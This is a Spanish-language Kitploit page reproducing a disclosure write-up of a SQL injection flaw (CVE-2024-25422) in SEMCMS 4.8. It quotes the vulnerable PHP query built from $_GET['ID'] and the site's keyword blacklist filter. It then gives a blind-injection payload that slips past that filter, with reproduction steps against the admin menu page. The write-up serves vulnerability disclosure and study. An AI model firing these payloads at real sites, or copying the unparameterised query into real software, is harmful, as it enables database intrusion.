Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
semcms — semcms tiene inyección SQL (CVE-2024-25422) | Kitploit
Herramientas/GitHubGitHub/tzyyyyyyy/semcms
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubtzyyyyyyy/semcms

semcms

semcms tiene inyección SQL (CVE-2024-25422)

Ver Repositorio
hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Introducción a Semcms

SEMCMS es un sistema de gestión de contenidos (CMS) para sitios web de comercio exterior que admite múltiples idiomas.

root@kitploit:~
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip

Causas de las vulnerabilidades:

/xcR45q_Admin/SEMCMS_Menu.php Línea 66

Código de la vulnerabilidad:

root@kitploit:~
<?php
 } elseif ($type == "edit") {
 
   $row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
 
   ?>

Se puede ver que aquí el ID ejecutará una sentencia SQL cuando se pasen parámetros a través de GET.

Código de filtro en /Include/contorl. PHP

Línea 151

root@kitploit:~
function test_input($data) { 
    //$data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data,*ENT_QUOTES*);
    return $data;
  }

Y la línea 8

root@kitploit:~
function inject_check_sql($sql_str) {
 
   return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
 } 
 function verify_str($str) { 
    if(inject_check_sql($str)) {
      exit('Sorry,You do this is wrong! (.-.)');
     } 
   return $str;
 } 

Al filtrar el contenido anterior, podemos construir un payload

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

Reproducción de las vulnerabilidades

Visite un sitio web

root@kitploit:~
http://url/xcR45q_Admin/SEMCMS_Menu.php

Captura de paquetes con Brupsuite. Dado que la longitud del nombre de la base de datos es 5 al crear un nuevo sitio, el payload se construye como

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

(Determinar si la longitud del nombre de la base de datos es 5)

Inserte el payload para ver el echo

clip_image002

Cambie el payload en este momento

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,54,36)

(Determinar si la longitud del nombre de la base de datos es 6)

Cambie el payload en este momento

clip_image004

La inyección SQL puede continuar basándose en los cambios en la página en el futuro.

Descargar herramienta